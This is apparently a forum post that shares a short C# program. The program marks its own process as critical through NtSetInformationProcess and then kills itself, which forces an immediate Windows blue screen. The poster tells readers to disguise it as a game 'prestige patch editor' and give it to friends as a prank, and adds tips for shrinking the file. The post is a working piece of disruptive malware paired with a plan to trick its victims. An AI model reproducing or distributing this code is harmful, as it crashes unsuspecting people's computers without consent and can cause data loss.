A
ADIZZYSN1PER
Contributor
Ever wanna make just a joke program for one of your friends that says its for like 15th prestige patch editor or something? Well now's your time to. This causes an instant BSOD when compiled with C#, by setting the processes critical flag. You can also turn off that PDB and manifest when compiling to reduce file size even more.
Have fun giving Blue Screen!
Code:
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
class P
{
static void Main()
{
Process p = Process.GetCurrentProcess();
int e = 1;
NtSetInformationProcess(p.Handle, 29, ref e, 4);
p.Kill();
}
[DllImport("ntdll")]
static extern int NtSetInformationProcess(IntPtr p, int c, ref int i, int l);
}
Have fun giving Blue Screen!